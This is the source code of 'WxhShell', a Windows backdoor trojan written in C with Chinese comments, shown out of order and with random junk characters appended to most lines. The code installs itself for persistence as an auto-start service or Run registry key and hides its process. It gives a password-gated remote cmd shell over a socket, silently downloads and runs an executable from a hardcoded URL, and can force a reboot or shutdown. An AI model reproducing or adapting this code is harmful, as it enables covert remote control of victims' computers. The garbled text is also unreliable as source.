    if(Boot(SHUTDOWN)) )aSj!X'`;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .)=T1^[hI  
    else { jB) RvvMU5  
    closesocket(wsh); *nS}1(u]  
    ExitThread(0); i!0w? /g9  
    } RN:VsopL  
    break; "/H B#  
    } )gF>nNE  
  // 获取shell h,-2+}  
  case 's': { 8xf]zM"Q  
    CmdShell(wsh); YX*NjXL  
    closesocket(wsh); 4`E[ WE:Q  
    ExitThread(0); t&|M@Ouet  
    break; ~-2%^ovB  
  } j IO2uTM~  
  // 退出 zplAH!s5''  
  case 'x': { =u\W {1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3oD?e  
    CloseIt(wsh); Rhi`4wo0$  
    break; mnzB90<  
    } E~}@56ER}  
  // 离开 +"J2k9E  
  case 'q': { @M( hyS&on  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s Zn@ye^  
    closesocket(wsh); N"/J1   
    WSACleanup(); Pgug!![  
    exit(1); `U4e]Qh/+  
    break; {7d(B1[1  
        } <S[]VXy  
  } BjX*Gm6l  
  } h]6m+oPW  
%u=b_4K"j  
  // 提示信息 kPRG^Ox8e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6&oaxAp<s  
} <Wr n/%tL  
  } I{nrOb1G(  
q,;8Ka )  
  return; \7V[G6'{  
} Sb QM!Q  
RnV#[bM{  
// shell模块句柄 MZIZ"b  
int CmdShell(SOCKET sock) #(pY~\  
{ K92nh/}y  
STARTUPINFO si; 6(pa2  
ZeroMemory(&si,sizeof(si)); 0*J},#ba$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1&Z#$iD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ] 6Y6q])Z  
PROCESS_INFORMATION ProcessInfo; x)+ q$FB  
char cmdline[]="cmd";  " fXs!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pk ?M~{S  
  return 0; 4H9mKR  
} i<\WRzVT  
#'y4UN  
// 自身启动模式 Dpb prT7_  
int StartFromService(void) _ASyGmO{  
{ =|+%^)E  
typedef struct 6Pp3*O`/V  
{ %2@O,uCo@  
  DWORD ExitStatus; ?3#L?Cq  
  DWORD PebBaseAddress; }1kZF{KD<[  
  DWORD AffinityMask; >mAi/TZC  
  DWORD BasePriority; ew+>?a'&L  
  ULONG UniqueProcessId; !8Y $}  
  ULONG InheritedFromUniqueProcessId; V$Zl]f$S  
}   PROCESS_BASIC_INFORMATION; Kcu*Z  
F+<e9[  
PROCNTQSIP NtQueryInformationProcess; sgLw,WZ:  
99GK6}~TGm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S1I# qb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GI5#{-)  
R$m?aIN  
  HANDLE             hProcess; |S6L[Uo  
  PROCESS_BASIC_INFORMATION pbi; Au10]b  
<D`VFSEJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b3NEYn  
  if(NULL == hInst ) return 0; >PS`;S!(  
0n/+X[%Ti  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;$Pjl8\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d~abWBgC`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \x=j  
Bo +Yu(|cL  
  if (!NtQueryInformationProcess) return 0; Je*hyi7  
}PUY~ u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P. Kfoos  
  if(!hProcess) return 0; Oh=E!  
*<ILSZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 230ijq3Y G  
i'YM9*yN  
  CloseHandle(hProcess); +/>XOY|Ie  
P>nz8NRq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'T+v&M  
if(hProcess==NULL) return 0;  (z.4er}o  
eWGaGRem  
HMODULE hMod; ET0^_yk  
char procName[255]; AfT;IG%Gt  
unsigned long cbNeeded; ) :VF^"  
Y52TC@'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5~FXy{ZIH  
/B!Ik:c}  
  CloseHandle(hProcess); ?s5/  
.+A2\F.^  
if(strstr(procName,"services")) return 1; // 以服务启动 o?| ]ciY  
G  L-Pir  
  return 0; // 注册表启动 nN%Zed2O@6  
} Pi5($cn  
SG@E*yT1  
// 主模块 *@eZt*_  
int StartWxhshell(LPSTR lpCmdLine) =))VxuoN  
{ w 6  
  SOCKET wsl; miUjpXt  
BOOL val=TRUE; P`L, eYc  
  int port=0; ePo :::  
  struct sockaddr_in door; *&BS[0;  
)|,Zp`2/  
  if(wscfg.ws_autoins) Install(); T@R2H&L  
-Oplk*  
port=atoi(lpCmdLine); sTmdoqTK!  
` InBhU>  
if(port<=0) port=wscfg.ws_port; p~yGp] yJ9  
YBupC!R  
  WSADATA data; #BW:*$>}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Utj4f-M  
O`f[9^fN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5 \iX%w@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T9?8@p\}(  
  door.sin_family = AF_INET; !BDJU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R*O<(  
  door.sin_port = htons(port); Gt$PBlq0  
4Z0Y8y8)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wCt!.<, .  
closesocket(wsl); b *Ca*!  
return 1; |xFSGrC  
} }qg.Go  
m](q,65 2  
  if(listen(wsl,2) == INVALID_SOCKET) { JN-W`2  
closesocket(wsl); -ZH6*7!  
return 1; HX#$ ^@Q(  
} ,CIsZ1[VS  
  Wxhshell(wsl); KkZS6rD\  
  WSACleanup(); dmYgv^t  
Z#zXary5s  
return 0; 5}4>vEn  
85rjM#~  
} vAqVs5 j  
\ZtF,`Z  
// 以NT服务方式启动 /Jc54d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yan,Bt{YJ  
{ ~=t K17i  
DWORD   status = 0; r*g<A2g%  
  DWORD   specificError = 0xfffffff; /DX6Hkkj%  
"b[w%KYyl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F.iJz4ya_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @DuSii#.S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %I#[k4,N  
  serviceStatus.dwWin32ExitCode     = 0; rnP *}  
  serviceStatus.dwServiceSpecificExitCode = 0; _ q^JjR  
  serviceStatus.dwCheckPoint       = 0; _ykT(`.#  
  serviceStatus.dwWaitHint       = 0; do DpTwvh  
fl+2 '~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yu: !l>  
  if (hServiceStatusHandle==0) return; s:*" b'  
!"SuE)WM  
status = GetLastError(); ]SL0Mn g8  
  if (status!=NO_ERROR) ys9'1+9  
{ n{=Nf|=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >{eGSSG0  
    serviceStatus.dwCheckPoint       = 0; "qhQJql  
    serviceStatus.dwWaitHint       = 0; HFW8x9Cc  
    serviceStatus.dwWin32ExitCode     = status; v5 I}a7  
    serviceStatus.dwServiceSpecificExitCode = specificError; P( 1Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;v m$F251  
    return; F/:Jp3@  
  } i\C~]K~O!  
=2/[n8pSsM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .9!?vz]1  
  serviceStatus.dwCheckPoint       = 0; S?u@3PyJm  
  serviceStatus.dwWaitHint       = 0; 9uW\~DwsZ%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mI,!8#  
} :xZ^Jq91  
Rv|X\Wm  
// 处理NT服务事件,比如:启动、停止 [4b_`L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -5GRit1q?  
{ 7;SI=  
switch(fdwControl) '5}@# Mi  
{ jd+ U+8r  
case SERVICE_CONTROL_STOP: @QAI 0ZY  
  serviceStatus.dwWin32ExitCode = 0; -op(26:W<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UgD&tD0fp  
  serviceStatus.dwCheckPoint   = 0; I2)#."=Ew  
  serviceStatus.dwWaitHint     = 0; fcisDu8n  
  { )<vuv9=k\%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q6hWHfS  
  } dReJ;x4  
  return; ]::g-&%Um  
case SERVICE_CONTROL_PAUSE: N _|tw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hw 0u?++  
  break; kB=\a(  
case SERVICE_CONTROL_CONTINUE: p]x9hZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5^C.}/#>F  
  break; Yl"l|2 :  
case SERVICE_CONTROL_INTERROGATE: cc:,,T /i  
  break; wg=-&-  
}; b|nh4g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mcqym8,q|3  
} :NXM.@jJ="  
,_I#+XiXY  
// 标准应用程序主函数 1Ts$kdO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \kG;T=H  
{ ?K= X[  
%Mr^~7nN  
// 获取操作系统版本 |WsB0R  
OsIsNt=GetOsVer(); tQ Ia6c4|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h.)o4(bO  
W5R /  
  // 从命令行安装 'L8B"5|>  
  if(strpbrk(lpCmdLine,"iI")) Install(); /7uA f{  
a G\  
  // 下载执行文件 Y1 *8&xT  
if(wscfg.ws_downexe) { Kd;)E 9Ti  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^'Qe.DW[  
  WinExec(wscfg.ws_filenam,SW_HIDE); 52q<|MW%  
} D0LoT?$N  
?(>fB2^  
if(!OsIsNt) { eY8rm  
// 如果时win9x,隐藏进程并且设置为注册表启动 d< b,].  
HideProc(); */y (~O6  
StartWxhshell(lpCmdLine); 4x2,X`pe3  
} P:fcbfH+  
else E @7);i5K  
  if(StartFromService()) x#}{z1op9  
  // 以服务方式启动 HB, k}Q  
  StartServiceCtrlDispatcher(DispatchTable); G$-[(eu -  
else ;CLOZ{  
  // 普通方式启动 @aUQy;  
  StartWxhshell(lpCmdLine); 48RSuH  
L<0eIw  
return 0; #T$yQ;eQ  
} 4Bk9d\z  
R>R8LIZZc  
KYR64[1  
=> X"  
=========================================== Q<T+t0G\O-  
BTDUT%Yfg  
VQ^}f/A  
pd}Cg'}X  
T[ltOQw?Y  
NM4b]>   
" +AYB0`X)  
bz|-x"qk  
#include <stdio.h> dT'd C  
#include <string.h> +\U#:gmw  
#include <windows.h> Z!2%{HQ=q  
#include <winsock2.h> H& !?c5  
#include <winsvc.h> =pd#U  
#include <urlmon.h> ZiaHLpk  
0YO/G1O&  
#pragma comment (lib, "Ws2_32.lib") Sd+bnq%  
#pragma comment (lib, "urlmon.lib") ]? % *3I  
]?lUe5F  
#define MAX_USER   100 // 最大客户端连接数 rObg:(z&\  
#define BUF_SOCK   200 // sock buffer qaiR329fx  
#define KEY_BUFF   255 // 输入 buffer >o )v  
dzs(sM=  
#define REBOOT     0   // 重启 #H.DnW  
#define SHUTDOWN   1   // 关机 {P'^X+B0*  
xP-\)d-.aN  
#define DEF_PORT   5000 // 监听端口 1fqJtP6  
pYz\GSd  
#define REG_LEN     16   // 注册表键长度 N;R I A  
#define SVC_LEN     80   // NT服务名长度 T7?cnK"  
0[.T`tpN'  
// 从dll定义API a~&euT2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  ,$(a,`s)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2`U+ !  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D+"+m%^>C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v4vIcHDs  
'nN'bVl/  
// wxhshell配置信息 ;S+]Z!5LT  
struct WSCFG { x&*2R#Ai  
  int ws_port;         // 监听端口 og`K! d~  
  char ws_passstr[REG_LEN]; // 口令 hj,yl&  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y+!z]S/x  
  char ws_regname[REG_LEN]; // 注册表键名  i)= \-C  
  char ws_svcname[REG_LEN]; // 服务名 v@Qfx V2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HcCT=x7:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ot;)zft  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /@Ec[4^=!.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JS^!XB' !  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `rb}"V+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fVz0H1\J&  
8c%_R23  
}; ~_a$5Y  
&vN^ *:Q  
// default Wxhshell configuration #:s*Hy=  
struct WSCFG wscfg={DEF_PORT, dU&hM<.|  
    "xuhuanlingzhe", 98XlcI#  
    1, 7x#."6>Dy  
    "Wxhshell", i,!tu  
    "Wxhshell", Kp>fOe'KW  
            "WxhShell Service", K#LDmC  
    "Wrsky Windows CmdShell Service", =[LUOOR*]  
    "Please Input Your Password: ", 8 `}I]  
  1, Ru@ { b`  
  "http://www.wrsky.com/wxhshell.exe", -8Hv3J'=  
  "Wxhshell.exe" n!&F%|o^^  
    }; z!aU85y  
nrKir  
// 消息定义模块 +g&M@8XO&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vp1Ff  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s'/ZtH6>C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cYz|Ux  
char *msg_ws_ext="\n\rExit."; yq12"Rs  
char *msg_ws_end="\n\rQuit."; ET;-'vd  
char *msg_ws_boot="\n\rReboot..."; ''H;/&nDX  
char *msg_ws_poff="\n\rShutdown..."; t5k=ngA  
char *msg_ws_down="\n\rSave to "; p4vX3?&1W  
<Yn-sH  
char *msg_ws_err="\n\rErr!"; Qrw:Bva)  
char *msg_ws_ok="\n\rOK!"; b}!T!IP}  
PO*0jO;%  
char ExeFile[MAX_PATH]; "'~&D/7  
int nUser = 0; 5DL(#9F8b9  
HANDLE handles[MAX_USER]; .*&F  
int OsIsNt; rmeGk&*R8  
v9"03 =h  
SERVICE_STATUS       serviceStatus; +LF`ZXe8l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @T%8EiV  
B-h@\y  
// 函数声明 UB w*}p  
int Install(void); ny1Dg$u i2  
int Uninstall(void); ]h'*L`  
int DownloadFile(char *sURL, SOCKET wsh); @3`Pq2<  
int Boot(int flag); %xdyG Al:  
void HideProc(void); pkc*toW  
int GetOsVer(void); g`dAj4B  
int Wxhshell(SOCKET wsl); W1ql[DqE{  
void TalkWithClient(void *cs); bMGXx>x  
int CmdShell(SOCKET sock); yH0vESgv  
int StartFromService(void); t**MthnW  
int StartWxhshell(LPSTR lpCmdLine); 5%"sv+iO  
m8Rt>DY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ge1"+:tbJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~cSE 9ul  
)i<Qg.@MX  
// 数据结构和表定义 >[S\NAE>  
SERVICE_TABLE_ENTRY DispatchTable[] = $:D\yZ,  
{ oB+Ek~{z]  
{wscfg.ws_svcname, NTServiceMain}, .V@3zzv\  
{NULL, NULL} 814cCrr,o  
}; |#zj~>7?  
5=Il2  
// 自我安装 7`tJ/xtMy;  
int Install(void) EzU3'x  
{ vf-8DB  
  char svExeFile[MAX_PATH]; @PV3G KJ  
  HKEY key; Mp06A.j[  
  strcpy(svExeFile,ExeFile); Z6#(83G4  
%[on.Q'1]2  
// 如果是win9x系统,修改注册表设为自启动 '#>(JN5\  
if(!OsIsNt) { uQg&]bSv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Ug+# ;}p$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L,sFwOWY  
  RegCloseKey(key); \5fvD8>H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0(Hzh?t_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9yp'-RKjw  
  RegCloseKey(key); bJ]blnH  
  return 0; B?9"Ztb  
    } hfpis==  
  } 6t3Zi:=I  
} ')ZZ)&U>z  
else { =m 6<H  
aa}U87]k  
// 如果是NT以上系统,安装为系统服务 M:oZk&cs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %II o  
if (schSCManager!=0) /|@~:5R5H  
{ "Fz1:VV&  
  SC_HANDLE schService = CreateService 1ezBn ZJg  
  ( T3PwM2em_`  
  schSCManager, d?aZk-|c  
  wscfg.ws_svcname, ,3W,M=j)  
  wscfg.ws_svcdisp, ])?[9c  
  SERVICE_ALL_ACCESS, | CPyCM$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :A5h<=[  
  SERVICE_AUTO_START, .@psW0T%  
  SERVICE_ERROR_NORMAL, lS?#(}a1)  
  svExeFile, `:W}yo<F  
  NULL, 8Fv4\dr  
  NULL, 0a:@DOzT  
  NULL, Wm/0Pi  
  NULL, j+Q+.39s-~  
  NULL XQZiJ %'  
  ); c| X }[  
  if (schService!=0) Q}#xfrprF  
  { fDAT#nlyp  
  CloseServiceHandle(schService); 6ipQx/IQ  
  CloseServiceHandle(schSCManager); V6_~"pRR=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L&&AK`Ur3l  
  strcat(svExeFile,wscfg.ws_svcname); <GSp%r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5 Q,j+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9>;CvR  
  RegCloseKey(key); &t}6sD9o  
  return 0; "p[3^<~uQ  
    } Y)7\h:LIg  
  } I2z6iT4nB  
  CloseServiceHandle(schSCManager); 9]:F!d/  
} p tlag&Z  
} bSa]={}L(  
<tdsUh:?&  
return 1; l0eh}d  
} ;WG%)^e  
Rg3g:TV9c  
// 自我卸载 ynJ)6n7a  
int Uninstall(void) 9[h8Dy  
{ 68~5Dx  
  HKEY key; Zi<(>@z2  
DuIgFp  
if(!OsIsNt) { U5[r&Y D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { py6O\` \  
  RegDeleteValue(key,wscfg.ws_regname); gps.  
  RegCloseKey(key); # ELYPp]6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l7 U<]i GL  
  RegDeleteValue(key,wscfg.ws_regname); ps33&  
  RegCloseKey(key); Aa^w{D  
  return 0; 0@&/W-VXg  
  } zIr4!|X  
} G6s3 \de#U  
} |Rz}bsrZ  
else { h;A~:}c,  
kb!W|l"PN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %DKC/%  
if (schSCManager!=0) er<_;"`1  
{ YTg8Zg-Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A-u!{F  
  if (schService!=0) g\H~Y@'{  
  { n(_wt##wE~  
  if(DeleteService(schService)!=0) { Z8Tb43?  
  CloseServiceHandle(schService); Ss:'H H4  
  CloseServiceHandle(schSCManager); gi+FL_8CzU  
  return 0; $?On,U  
  } y:k7eE"  
  CloseServiceHandle(schService); S";}gw?r6  
  } \/9O5`u*V  
  CloseServiceHandle(schSCManager); .Dy2O*`  
} o1H6E1$=  
} I_|W'%N]  
&_' evZ8  
return 1; V!s#xXD}  
} fC/P W`4Ae  
F(w<YU %6  
// 从指定url下载文件 CKX3t:HP0  
int DownloadFile(char *sURL, SOCKET wsh) +NoVe#  
{ 1*:BOoYx  
  HRESULT hr; SVPksr  
char seps[]= "/"; m?=J;r"Re  
char *token; P` y.3aK  
char *file; (]-RL A>  
char myURL[MAX_PATH]; "ZuA._  
char myFILE[MAX_PATH]; \"d\b><R  
uCgJ F@  
strcpy(myURL,sURL); Ct$\!|aR  
  token=strtok(myURL,seps); D8`SI2 1P  
  while(token!=NULL) Nj +^;Y  
  { DIgur}q)@  
    file=token; A(z m  
  token=strtok(NULL,seps); QiaBZAol  
  } ktM7L{Nz  
tUGF8?& G  
GetCurrentDirectory(MAX_PATH,myFILE); ()Q q7/  
strcat(myFILE, "\\"); M$} AJS%8  
strcat(myFILE, file); mqDI'~T9 u  
  send(wsh,myFILE,strlen(myFILE),0); Yw\lNhoPS  
send(wsh,"...",3,0); /1eeNbd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H-eHX3c7  
  if(hr==S_OK) )U{\c2b  
return 0; hLT?aQLx  
else H%{k.#O  
return 1; :bkmm,%O  
-X-sykDm  
} }/jWa |)f  
gI/(hp3ob  
// 系统电源模块 {uxTgX  
int Boot(int flag) I(j$^DA.  
{ >|mZu)HIY;  
  HANDLE hToken; 8Ep!  
  TOKEN_PRIVILEGES tkp; 3teP6|K'g  
~DS.b-E  
  if(OsIsNt) { v3wq-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); | g"K7XfM4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ED>P>Gg  
    tkp.PrivilegeCount = 1; 'Jd*r(2d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kpMo7n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #!P>." .  
if(flag==REBOOT) { (/ -90u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sYB2{w   
  return 0; KLjvPT\  
} V14+?L  
else { GQ sE5Vb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H!|g?"C  
  return 0; aJ[|80U  
} KfQ?b_H.  
  } rx@2Dmt6  
  else { 4j zjrG  
if(flag==REBOOT) { 77'@U(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YR[I,j  
  return 0; w17CZa 6  
} { PS0.UZ  
else { md lMciP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  vSo1WS  
  return 0; GtKSA#oYZB  
} D$VRE^k  
} wM}AWmH  
Kd*=-  
return 1; nuw7pEW@?  
} t >Rh  
z&\N^tBv  
// win9x进程隐藏模块 Y/ %XkDC~  
void HideProc(void) TY?O$d2b3  
{ szD9z{9"y  
Az/B/BLB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g*!1S  
  if ( hKernel != NULL ) xl9S=^`=  
  { tjQ6[`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dV /Es  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .UvDew/Y  
    FreeLibrary(hKernel); >u]9(o7I  
  } ((M>To_l  
fh` }~ aQ  
return; MjbgAH-  
} h)s&Nqg1B  
M^G9t*I  
// 获取操作系统版本 9U3.=J  
int GetOsVer(void) <@c@`K  
{ g!Ui|]BI9  
  OSVERSIONINFO winfo; # hw;aQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |W}D_2  
  GetVersionEx(&winfo); 0 c ]]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)   `#l1  
  return 1; cv. j  
  else m%c]+Our`  
  return 0; 5x!rT&!G  
} ): fu]s"  
-J0I2D  
// 客户端句柄模块 S|?P#.=GX  
int Wxhshell(SOCKET wsl) g'2}Y5m$`  
{ {7` 1m!R  
  SOCKET wsh; ;D@F  
  struct sockaddr_in client; gUYTVp Vf  
  DWORD myID; hsJGly5H  
)~IOsTjI  
  while(nUser<MAX_USER) \Qq YH^M  
{ >)k[085t  
  int nSize=sizeof(client); ""IPaNHQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w=^~M[%w  
  if(wsh==INVALID_SOCKET) return 1; aO 2zD<d  
)k]{FM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]ZH6 .@|  
if(handles[nUser]==0) HcrlcxwM\i  
  closesocket(wsh); 5UX-Qqr  
else Tq?f5swsI  
  nUser++; z>b^Ui0  
  } # wyjb:Ql  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +-rSO"nc  
IsjN xBM  
  return 0; rl-#Ez  
} O2xqNQ`d  
n^nQrRIp  
// 关闭 socket (%G>TV  
void CloseIt(SOCKET wsh) cQ3p|a `  
{ B_C."{G  
closesocket(wsh); 0^6}s1d_  
nUser--; <SdOb#2  
ExitThread(0); #c9MVQ_   
} ,^jQBD4={  
65tsJ"a<  
// 客户端请求句柄 >f D%lq;  
void TalkWithClient(void *cs) Ex6Kxd}8  
{ %VE FruM  
<3Rq!w/  
  SOCKET wsh=(SOCKET)cs; q(BRJ(  
  char pwd[SVC_LEN]; ]deO\mB  
  char cmd[KEY_BUFF]; OaY]}4tI$  
char chr[1]; 3h6,x0AG  
int i,j; Equ%6x  
TN/&^/  
  while (nUser < MAX_USER) { /K;AbE  
gx2v(1?S  
if(wscfg.ws_passstr) { CY"i|s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JB!*{{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xXJzE|)1h!  
  //ZeroMemory(pwd,KEY_BUFF); M >i *e  
      i=0; u3DFgl3-7  
  while(i<SVC_LEN) { (l/i#  
}a%Wu 7D  
  // 设置超时 kmt+E'^]  
  fd_set FdRead; Kr`.q:0GK  
  struct timeval TimeOut; ca[*#xiJ  
  FD_ZERO(&FdRead); fT=ZiHJ3Gu  
  FD_SET(wsh,&FdRead); I/gfsyfA  
  TimeOut.tv_sec=8; W k"_lJ  
  TimeOut.tv_usec=0; |aj]]l[@S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H~:g =Zw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V'9OGn2v  
j`_Z`eG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e.(RhajB  
  pwd=chr[0]; ~8'HX*B]z  
  if(chr[0]==0xd || chr[0]==0xa) { |1Nz8Vr.  
  pwd=0; mn(MgJKQ\  
  break; ANR611-a  
  } )P|/<>z  
  i++; Q[lkhx|.B  
    } &m{~4]qWpM  
#XNURj  
  // 如果是非法用户,关闭 socket "*KOU2}C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "AIS6%,  
} d8WEsQ+)A  
& fnfuU$   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |r4&@)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,pW^>J  
VotI5O $  
while(1) { \;+b1  
8:]5H}H i  
  ZeroMemory(cmd,KEY_BUFF); lg@q} ]1  
5^Lbc.h  
      // 自动支持客户端 telnet标准   Q?'Ax"$D  
  j=0; bf[l4$3k  
  while(j<KEY_BUFF) { MN>U jFA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o Y<vKs^  
  cmd[j]=chr[0]; clr]gib  
  if(chr[0]==0xa || chr[0]==0xd) { Z eWst w7  
  cmd[j]=0; Ge24Lp;Y 6  
  break; o/!a7>xO4  
  } C%P.`NxA  
  j++; 7f~7vydZ}  
    } M F$NcU  
P[e#j  
  // 下载文件 5=!aq\ 5  
  if(strstr(cmd,"http://")) { `$/M\aM%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x o72JJ  
  if(DownloadFile(cmd,wsh)) [U7r>&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DyQvk  
  else 1z3I^gI*i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l_(4CimOZ  
  } 6|1#Prj  
  else { ?!bWUVC)_  
 M|>-q  
